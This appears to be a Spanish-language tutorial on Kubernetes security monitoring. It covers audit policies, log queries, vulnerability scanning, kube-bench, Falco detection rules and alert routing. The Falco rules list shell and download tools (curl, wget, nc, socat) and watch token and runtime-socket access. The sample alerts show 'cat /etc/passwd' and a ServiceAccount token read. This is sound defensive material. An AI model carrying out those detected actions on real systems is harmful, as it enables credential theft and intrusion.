{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reservas-credenciales",
  "verb": "get",
  "user": {
    "username": "[email protected]",
    "groups": ["plataforma", "system:authenticated"]
  },
  "sourceIPs": ["10.4.12.87"],
  "userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
  "objectRef": {
    "resource": "secrets",
    "namespace": "rutas-norte-pro",
    "name": "postgres-reservas-credenciales",
    "apiVersion": "v1"
  },
  "responseStatus": { "metadata": {}, "code": 200 },
  "requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
  "stageTimestamp": "2026-08-06T03:14:22.489114Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
  }
}

# /etc/kubernetes/manifests/kube-apiserver.yaml (fragmento)
spec:
  containers:
    - name: kube-apiserver
      command:
        - kube-apiserver
        # Fichero con la política: qué se registra y con qué detalle
        - --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
        # Destino de fichero
        - --audit-log-path=/var/log/kubernetes/auditoria.log
        - --audit-log-maxage=90        # días que se conservan
        - --audit-log-maxbackup=30     # número de ficheros rotados
        - --audit-log-maxsize=200      # MB por fichero antes de rotar
        - --audit-log-format=json
      volumeMounts:
        - name: politica-auditoria
          mountPath: /etc/kubernetes/auditoria
          readOnly: true
        - name: logs-auditoria
          mountPath: /var/log/kubernetes
  volumes:
    - name: politica-auditoria
      hostPath:
        path: /etc/kubernetes/auditoria
        type: DirectoryOrCreate
    - name: logs-auditoria
      hostPath:
        path: /var/log/kubernetes
        type: DirectoryOrCreate

# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
  - name: recolector-auditoria
    cluster:
      server: https://auditoria.rutasnorte.example/eventos
      certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
  - name: auditoria
    context:
      cluster: recolector-auditoria
      user: apiserver-rutasnorte
current-context: auditoria
users:
  - name: apiserver-rutasnorte
    user:
      client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
      client-key: /etc/kubernetes/pki/apiserver-auditoria.key

        - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
        - --audit-webhook-mode=batch          # agrupa eventos: menos latencia
        - --audit-webhook-batch-max-size=400
        - --audit-webhook-batch-max-wait=30s

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None       # <- esta se evalúa primero
    resources:
      - group: ""
        resources: ["events"]
  - level: Metadata   # <- solo se llega aquí si la anterior no coincidió

# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy

# RequestReceived duplica cada evento sin aportar nada en el caso general
omitStages:
  - RequestReceived

rules:
  # ============================================================
  # BLOQUE 1: ruido que NO se registra (va primero, por orden)
  # ============================================================

  # Comprobaciones de salud y descubrimiento de la API: miles por minuto
  - level: None
    nonResourceURLs:
      - /healthz*
      - /livez*
      - /readyz*
      - /version
      - /openapi*
      - /apis
      - /apis/*
      - /api
      - /api/*
      - /metrics

  # Los nodos informando de su estado constantemente
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["nodes", "nodes/status", "pods", "endpoints"]

  # Los controladores del plano de control observando cambios
  - level: None
    userGroups: ["system:serviceaccounts:kube-system"]
    verbs: ["get", "list", "watch"]

  # Los eventos de Kubernetes: son muchísimos y ya se recogen aparte (07-06)
  - level: None
    resources:
      - group: ""
        resources: ["events"]

  # Renovación de arrendamientos de elección de líder: constante y sin interés
  - level: None
    resources:
      - group: "coordination.k8s.io"
        resources: ["leases"]

  # ============================================================
  # BLOQUE 2: lo crítico, con el máximo detalle que es seguro
  # ============================================================

  # --- SECRETS: quién los toca, SIEMPRE, en todos los namespaces ---
  # Nivel Metadata a propósito: registrar el contenido escribiría
  # las credenciales de la base de datos de clientes en el log.
  - level: Metadata
    resources:
      - group: ""
        resources: ["secrets"]
    omitStages:
      - RequestReceived

  # --- Emisión de tokens de ServiceAccount: vía de suplantación (08-01) ---
  - level: Metadata
    resources:
      - group: ""
        resources: ["serviceaccounts/token"]

  # --- RBAC: cualquier cambio en quién puede hacer qué ---
  # Aquí sí Request: queremos poder reconstruir exactamente qué permiso
  # se concedió. Un Role no contiene datos personales.
  - level: Request
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

  # --- Políticas de admisión y de red: desactivarlas es un ataque ---
  - level: Request
    resources:
      - group: "admissionregistration.k8s.io"
      - group: "kyverno.io"
      - group: "networking.k8s.io"
        resources: ["networkpolicies"]
      - group: "policy"

  # --- Configuración de los namespaces: incluye las etiquetas del PSA (08-03) ---
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: ""
        resources: ["namespaces"]

  # ============================================================
  # BLOQUE 3: producción, con más detalle que el resto
  # ============================================================

  # Toda ESCRITURA en rutas-norte-pro, con el cuerpo de la petición
  - level: Request
    verbs: ["create", "update", "patch", "delete", "deletecollection"]
    namespaces: ["rutas-norte-pro"]

  # Operaciones interactivas sobre pods: exec, attach, port-forward,
  # contenedores efímeros. Son las de mayor riesgo (08-01).
  - level: Request
    resources:
      - group: ""
        resources:
          - pods/exec
          - pods/attach
          - pods/portforward
          - pods/ephemeralcontainers

  # Lectura de logs: pueden contener información de clientes
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log"]

  # ============================================================
  # BLOQUE 4: el resto
  # ============================================================

  # Escrituras en cualquier otro namespace: metadatos
  - level: Metadata
    verbs: ["create", "update", "patch", "delete", "deletecollection"]

  # Todo lo demás (lecturas normales): metadatos
  - level: Metadata

# Tamaño del log en una hora
ls -lh /var/log/kubernetes/auditoria.log

# Distribución por nivel
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn

  18432 Metadata
   1204 Request

# Qué recursos generan más eventos: candidatos a añadir a la lista de None
jq -r '.objectRef.resource // "sin-recurso"' /var/log/kubernetes/auditoria.log \
  | sort | uniq -c | sort -rn | head -10

   6218 pods
   3891 configmaps
   2104 endpointslices
   1877 deployments
   1442 secrets
    998 replicasets
    712 services
    488 nodes
    301 rolebindings
     94 pods/log

jq -r 'select(
    .objectRef.resource == "secrets" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb == "get" or .verb == "list" or .verb == "watch")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name // "TODOS")  \(.sourceIPs[0])  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort

2026-08-05T09:12:04Z  system:serviceaccount:rutas-norte-pro:api-reservas  get  api-reservas-bd  10.244.2.19  200
2026-08-05T14:33:41Z  [email protected]  get  postgres-reservas-credenciales  10.4.12.87  200
2026-08-06T03:14:22Z  [email protected]  get  postgres-reservas-credenciales  10.4.12.87  200
2026-08-06T03:14:58Z  [email protected]  list  TODOS  10.4.12.203  403

jq -r 'select(
    .verb == "delete" and
    .objectRef.resource == "deployments" and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  borró \(.objectRef.name)  desde \(.sourceIPs[0])  agente=\(.userAgent)"' \
  /var/log/kubernetes/auditoria.log

2026-08-05T16:47:12Z  system:serviceaccount:argocd:argocd-application-controller  borró exportador-legado  desde 10.244.1.8  agente=argocd-application-controller/v2.12.3

SA="system:serviceaccount:rutas-norte-pro:worker-notificaciones"

jq -r --arg sa "$SA" 'select(.user.username == $sa)
  | "\(.stageTimestamp)  \(.verb)  \(.objectRef.resource // "-")/\(.objectRef.name // "-")  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20

     42 2026-08-06T...  get  configmaps/worker-config  200
      3 2026-08-06T...  list  secrets/-  403
      1 2026-08-06T...  create  pods/exec  403

jq -r 'select(
    (.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
     .objectRef.subresource == "ephemeralcontainers") and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.objectRef.subresource)  pod=\(.objectRef.name)  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log

2026-08-04T11:02:33Z  [email protected]  exec  pod=api-reservas-6d4f8b9c7-k2m4x  101
2026-08-06T02:58:14Z  [email protected]  exec  pod=postgres-reservas-0  403

jq -r 'select(
    .objectRef.apiGroup == "rbac.authorization.k8s.io" and
    (.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.resource)/\(.objectRef.name)"' \
  /var/log/kubernetes/auditoria.log

2026-08-06T01:33:07Z  [email protected]  create  clusterrolebindings/depuracion-temporal

jq -r 'select(.objectRef.name == "depuracion-temporal") | .requestObject' \
  /var/log/kubernetes/auditoria.log

{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": { "name": "depuracion-temporal" },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    { "kind": "Group", "name": "desarrollo", "apiGroup": "rbac.authorization.k8s.io" }
  ]
}

#!/usr/bin/env bash
# seguridad/informe-auditoria-diario.sh
# Resumen diario de eventos de auditoría relevantes.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
FECHA=$(date -u +%Y-%m-%d)

echo "=== Informe de auditoría — $FECHA ==="
echo

echo "--- Accesos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn

echo
echo "--- Sesiones interactivas en producción (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
  | select(.objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"

echo
echo "--- Cambios en RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
  | select(.verb | test("create|update|patch|delete"))
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"

echo
echo "--- Peticiones DENEGADAS (403): posible sondeo ---"
jq -r 'select(.responseStatus.code == 403)
  | "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
  | sort | uniq -c | sort -rn | head -15

echo
echo "--- Violaciones registradas por el Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
  | "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
  "$LOG" | sort -u

trivy image registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1

registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3      │ CVE-2026-11042 │ HIGH     │ fixed  │ 3.0.14-1          │ 3.0.15-1      │
│ libc6        │ CVE-2026-10877 │ MEDIUM   │ fixed  │ 2.36-9            │ 2.36-9+deb12u1│
│ zlib1g       │ CVE-2025-98004 │ LOW      │ affected│ 1:1.2.13.dfsg-1  │               │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed  │ 9.0.2             │ 9.0.3         │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

# .gitlab-ci.yml (fragmento) — escaneo que rompe la construcción
escanear-imagen:
  stage: verificar
  script:
    # Actualizar la base de vulnerabilidades por separado: si falla la
    # descarga, queremos saberlo, no que el escaneo pase por defecto
    - trivy image --download-db-only

    # Informe legible para el registro de la canalización
    - trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMAGEN}:${VERSION}"

    # Puerta de calidad: CRITICAL o HIGH con corrección disponible = falla
    - |
      trivy image \
        --severity HIGH,CRITICAL \
        --ignore-unfixed \
        --exit-code 1 \
        --ignorefile .trivyignore \
        "${IMAGEN}:${VERSION}"

    # Informe en formato SARIF para la interfaz de la plataforma de CI
    - trivy image --format sarif --output trivy.sarif "${IMAGEN}:${VERSION}"

    # Escaneo de secretos: credenciales olvidadas en las capas (08-05)
    - trivy image --scanners secret --exit-code 1 "${IMAGEN}:${VERSION}"
  artifacts:
    reports:
      sast: trivy.sarif
    expire_in: 90 days

# .trivyignore
# Formato: CVE  # motivo — responsable — fecha de caducidad
#
# ESTE FICHERO SE REVISA EN CADA AUDITORÍA TRIMESTRAL.
# Una excepción sin fecha de caducidad es un fallo de proceso.

# El binario afectado (openssl como herramienta de línea de órdenes) no está
# presente en la imagen distroless; solo la librería, que no usa la ruta
# vulnerable. Confirmado con el equipo de seguridad.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877

# Sin corrección disponible del mantenedor. El componente no procesa entrada
# externa en nuestro uso. Revisado 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004

#!/usr/bin/env bash
# seguridad/escanear-registro.sh
# Escaneo semanal de todas las imágenes desplegadas en producción.
set -uo pipefail

# Obtener las imágenes que están REALMENTE corriendo, por digest
kubectl get pods -A -o json | jq -r '
  .items[].status.containerStatuses[]?.imageID' \
  | grep '^registry.rutasnorte.example' | sort -u > /tmp/imagenes-en-uso.txt

echo "Imágenes en ejecución: $(wc -l < /tmp/imagenes-en-uso.txt)"
hallazgos=0

while read -r imagen; do
  resultado=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
                --format json --quiet "$imagen" 2>/dev/null)
  n=$(echo "$resultado" | jq '[.Results[]?.Vulnerabilities[]?] | length')
  if [[ "$n" -gt 0 ]]; then
    echo "=== $imagen: $n vulnerabilidades con corrección disponible"
    echo "$resultado" | jq -r '.Results[]?.Vulnerabilities[]?
      | "    \(.Severity)  \(.VulnerabilityID)  \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
      | sort -u
    hallazgos=$((hallazgos + n))
  fi
done < /tmp/imagenes-en-uso.txt

echo
echo "Total de hallazgos accionables: $hallazgos"

Imágenes en ejecución: 8
=== registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d...: 2 vulnerabilidades con corrección disponible
    CRITICAL  CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
    HIGH      CVE-2026-11042  libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externas/postgres@sha256:2a7f4c...: 1 vulnerabilidades con corrección disponible
    HIGH      CVE-2026-10991  libxml2 2.9.14 -> 2.9.14+deb12u2

Total de hallazgos accionables: 3

grype registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1 -o table

helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system --create-namespace \
  --set trivy.ignoreUnfixed=true \
  --set operator.scanJobTimeout=10m \
  --set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
  --set operator.scanJobsConcurrentLimit=3

kubectl get vulnerabilityreports -n rutas-norte-pro

NAME                                          REPOSITORY                            TAG      SCANNER   AGE   CRITICAL   HIGH   MEDIUM   LOW
replicaset-api-reservas-6d4f8b9c7-api         rutasnorte/api-reservas               2.7.1    Trivy     3h    1          1      1        2
replicaset-tienda-web-6f8d9c4b7-nginx         externas/nginx-unprivileged           1.27.1   Trivy     3h    0          0      2        4
statefulset-postgres-reservas-postgres        externas/postgres                     16.4     Trivy     3h    0          1      3        7
statefulset-redis-cache-redis                 externas/redis                        7.4      Trivy     3h    0          0      0        2
replicaset-worker-notificaciones-6d4f8-worker rutasnorte/worker-notificaciones      3.2.0    Trivy     3h    0          0      1        3

# Detalle de las vulnerabilidades críticas de un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
  replicaset-api-reservas-6d4f8b9c7-api -o json \
  | jq -r '.report.vulnerabilities[]
      | select(.severity == "CRITICAL")
      | "\(.vulnerabilityID)  \(.resource) \(.installedVersion) -> \(.fixedVersion)\n  \(.title)"'

CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
  Improper verification of signature allows token forgery

kubectl get configauditreports -n rutas-norte-pro \
  -o custom-columns='CARGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'

CARGA                                      CRIT   ALTA
replicaset-api-reservas-6d4f8b9c7          0      0
statefulset-postgres-reservas              0      1
daemonset-fluent-bit-collector             0      2

kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reservas \
  -o json | jq -r '.report.checks[] | select(.severity == "HIGH")
    | "\(.checkID): \(.title)\n  \(.description)"'

KSV014: Root file system is not read-only
  An immutable root file system prevents applications from writing to their
  local disk.

kubectl get clustercompliancereport cis -o json \
  | jq -r '.status.summary'

{
  "passCount": 87,
  "failCount": 9
}

# k8s/seguridad/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-nodos
  namespace: rutas-norte-sistema      # el namespace privilegiado de 08-03
spec:
  template:
    spec:
      # kube-bench necesita leer la configuración del nodo: por eso va aquí
      hostPID: true
      restartPolicy: Never
      containers:
        - name: kube-bench
          image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
          command: ["kube-bench", "run", "--targets", "node", "--json"]
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
          volumeMounts:
            - { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
            - { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
            - { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
      volumes:
        - name: var-lib-kubelet
          hostPath: { path: /var/lib/kubelet }
        - name: etc-kubernetes
          hostPath: { path: /etc/kubernetes }
        - name: etc-systemd
          hostPath: { path: /etc/systemd }

kubectl apply -f k8s/seguridad/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodos | head -40

[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true

== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
      If using command line arguments, edit the kubelet service file
      /etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true

== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARN

apiVersion: batch/v1
kind: CronJob
metadata:
  name: kube-bench-semanal
  namespace: rutas-norte-sistema
spec:
  schedule: "0 5 * * 1"      # lunes a las 05:00
  jobTemplate:
    spec:
      template:
        spec:
          # (misma especificación que el Job anterior)
          restartPolicy: Never
          containers:
            - name: kube-bench
              image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
              command:
                - sh
                - -c
                - |
                  kube-bench run --targets node --json > /tmp/resultado.json
                  fallos=$(jq '[.Controls[].tests[].results[]
                                | select(.status == "FAIL")] | length' /tmp/resultado.json)
                  echo "Comprobaciones fallidas: $fallos"
                  cat /tmp/resultado.json
                  # Si aumentan respecto a la línea base conocida, salir con error
                  [ "$fallos" -le 2 ] || exit 1

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace rutas-norte-sistema \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitorizacion:9093

# k8s/seguridad/falco-reglas-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-reglas-rutasnorte
  namespace: rutas-norte-sistema
data:
  rutasnorte_reglas.yaml: |
    # ============================================================
    # Listas y macros reutilizables
    # ============================================================
    - list: namespaces_produccion
      items: [rutas-norte-pro]

    - list: binarios_shell
      items: [bash, sh, zsh, ash, dash, ksh, csh, fish]

    - macro: en_produccion
      condition: k8s.ns.name in (namespaces_produccion)

    - macro: contenedor
      condition: container.id != host

    # ============================================================
    # Regla 1: shell abierta en un contenedor de producción
    # ============================================================
    # Nuestras imágenes distroless (08-05) NO tienen shell. Que aparezca
    # un proceso de shell en producción significa una de dos cosas:
    #   a) alguien hizo kubectl exec (debería verse en la auditoría), o
    #   b) alguien ejecuta código dentro del contenedor.
    # Ambas requieren investigación inmediata.
    - rule: Shell abierta en contenedor de produccion
      desc: >-
        Se ha iniciado un proceso de intérprete de órdenes dentro de un
        contenedor del namespace de producción. Las imágenes de Rutas Norte
        no incluyen shell, por lo que esto no debería ocurrir nunca.
      condition: >
        spawned_process
        and contenedor
        and en_produccion
        and proc.name in (binarios_shell)
      output: >
        Shell abierta en produccion
        (usuario=%user.name proceso=%proc.cmdline padre=%proc.pname
         contenedor=%container.name imagen=%container.image.repository
         pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, produccion, shell, T1059]

    # ============================================================
    # Regla 2: escritura en directorios del sistema
    # ============================================================
    # Todos nuestros contenedores llevan readOnlyRootFilesystem: true
    # (08-02), así que esto debería fallar SIEMPRE. Si el intento existe,
    # algo está intentando modificar binarios o configuración del sistema.
    - rule: Escritura en directorio del sistema
      desc: >-
        Intento de escritura en un directorio del sistema dentro de un
        contenedor. Con readOnlyRootFilesystem el intento fallará, pero
        su mera existencia indica actividad anómala.
      condition: >
        open_write
        and contenedor
        and en_produccion
        and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
                                /lib, /etc, /boot)
        and not proc.name in (dpkg, apt, apk, rpm)
      output: >
        Escritura en directorio del sistema
        (fichero=%fd.name proceso=%proc.cmdline usuario=%user.name
         pod=%k8s.pod.name ns=%k8s.ns.name imagen=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccion, integridad, T1222]

    # ============================================================
    # Regla 3: lectura del token de la ServiceAccount
    # ============================================================
    # En 03-06 pusimos automountServiceAccountToken: false en casi todo.
    # Los pocos pods que sí lo montan lo leen a través de su biblioteca
    # cliente. Una lectura desde una shell o una utilidad genérica es
    # el patrón clásico de reconocimiento tras un compromiso.
    - rule: Lectura del token de ServiceAccount por proceso inesperado
      desc: >-
        Un proceso que no es la aplicación ha leído el token de la
        ServiceAccount montado en el pod.
      condition: >
        open_read
        and contenedor
        and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
        and not proc.name in (node, python3, java, nginx, postgres, redis-server)
      output: >
        Token de ServiceAccount leido por proceso inesperado
        (proceso=%proc.cmdline usuario=%user.name padre=%proc.pname
         pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
      priority: CRITICAL
      tags: [rutasnorte, credenciales, T1552]

    # ============================================================
    # Regla 4: conexión saliente inesperada
    # ============================================================
    # Complementa la NetworkPolicy de 08-04: la política BLOQUEA, Falco
    # REGISTRA el intento con el proceso que lo hizo, que es información
    # que la política no puede dar.
    - rule: Conexion saliente desde componente sin permiso de salida
      desc: >-
        Un componente que no debe alcanzar internet ha intentado abrir una
        conexión saliente. La NetworkPolicy lo bloqueará, pero registramos
        qué proceso lo intentó.
      condition: >
        outbound
        and contenedor
        and en_produccion
        and k8s.pod.label.app in (tienda-web, postgres-reservas, redis-cache,
                                  informes-ocupacion)
        and not fd.sip in (cluster_cidr)
        and not fd.sport in (53)
      output: >
        Conexion saliente inesperada
        (destino=%fd.sip:%fd.sport proceso=%proc.cmdline
         pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
      priority: WARNING
      tags: [rutasnorte, red, exfiltracion, T1041]

    # ============================================================
    # Regla 5: herramientas de descarga en producción
    # ============================================================
    - rule: Herramienta de descarga ejecutada en produccion
      desc: >-
        Se ha ejecutado curl, wget u otra herramienta de descarga dentro de
        un contenedor de producción. Nuestras imágenes no las incluyen.
      condition: >
        spawned_process
        and contenedor
        and en_produccion
        and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
      output: >
        Herramienta de descarga en produccion
        (proceso=%proc.cmdline padre=%proc.pname pod=%k8s.pod.name
         imagen=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccion, T1105]

    # ============================================================
    # Regla 6: modificación de la configuración de contenedores
    # ============================================================
    - rule: Acceso al socket del entorno de ejecucion
      desc: >-
        Un proceso ha accedido al socket de containerd o Docker. Como
        vimos en 08-02, eso equivale a privilegios de nodo.
      condition: >
        (open_read or open_write)
        and contenedor
        and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
                        /var/run/crio/crio.sock)
      output: >
        Acceso al socket del entorno de ejecucion
        (fichero=%fd.name proceso=%proc.cmdline pod=%k8s.pod.name
         ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, escape, T1610]

kubectl logs -n rutas-norte-sistema -l app.kubernetes.io/name=falco --tail=20 | grep Critical

03:47:08.229481022: Critical Shell abierta en produccion (usuario=root
proceso=sh -c "cat /etc/passwd" padre=node contenedor=worker
imagen=registry.rutasnorte.example/rutasnorte/worker-notificaciones
pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)

03:47:09.884113047: Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuario=root
padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificaciones)

# k8s/seguridad/falcosidekick-valores.yaml
falcosidekick:
  enabled: true
  config:
    # Envía a Alertmanager, que ya sabe encaminar (07-04)
    alertmanager:
      hostport: "http://alertmanager.monitorizacion.svc.cluster.local:9093"
      minimumpriority: "warning"
      # Etiquetas que permiten encaminar en Alertmanager
      customfields: "plataforma:rutas-norte,origen:falco"
      extralabels: "equipo:plataforma"
    # Métricas para Prometheus: permite cuadros de mando y alertas agregadas
    prometheus:
      extralabels: "plataforma:rutas-norte"
    # Los eventos también van al log centralizado (07-05)
    elasticsearch:
      hostport: "http://elasticsearch.registro.svc.cluster.local:9200"
      index: "falco-seguridad"
      minimumpriority: "notice"

# k8s/base/monitorizacion/alertmanager-config.yaml (fragmento)
route:
  receiver: equipo-plataforma
  group_by: [alertname, namespace]
  routes:
    # Alertas de seguridad críticas: canal dedicado y aviso inmediato
    - matchers:
        - origen = "falco"
        - severity = "critical"
      receiver: seguridad-urgente
      group_wait: 0s              # sin agrupar: se envía al instante
      repeat_interval: 15m
      continue: true              # sigue evaluando: también al canal general

    - matchers:
        - origen = "falco"
      receiver: seguridad-general
      group_interval: 5m

receivers:
  - name: seguridad-urgente
    webhook_configs:
      - url: https://avisos.rutasnorte.example/guardia-seguridad
    # Además de la guardia, al canal del equipo
    # (configuración del canal según la herramienta de la organización)

  - name: seguridad-general
    webhook_configs:
      - url: https://avisos.rutasnorte.example/canal-seguridad

apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: alertas-falco
  namespace: monitorizacion
spec:
  groups:
    - name: seguridad-tiempo-ejecucion
      rules:
        - alert: RafagaDeAlertasDeSeguridad
          expr: |
            sum by (k8s_ns_name, k8s_pod_name) (
              rate(falco_events{priority=~"Critical|Error"}[5m])
            ) > 0.1
          for: 2m
          labels:
            severity: critical
            equipo: plataforma
            origen: falco-agregado
          annotations:
            summary: >-
              Ráfaga de eventos de seguridad en {{ $labels.k8s_pod_name }}
            description: >-
              El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} está
              generando eventos críticos de Falco de forma sostenida. Un evento
              aislado puede ser una operación legítima; una ráfaga indica
              actividad anómala en curso.
              Procedimiento de contención: aislar el pod cambiando su etiqueta
              app y aplicar la NetworkPolicy de cuarentena.
            runbook_url: https://wiki.rutasnorte.example/runbooks/incidente-falco

        - alert: FalcoNoEstaFuncionando
          expr: |
            count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
            or
            kube_daemonset_status_number_ready{daemonset="falco"}
              < kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
          for: 10m
          labels:
            severity: critical
            equipo: plataforma
          annotations:
            summary: "Falco no está corriendo en todos los nodos"
            description: >-
              Sin Falco en un nodo, la actividad de sus contenedores no se
              observa. Un atacante podría desactivarlo deliberadamente.

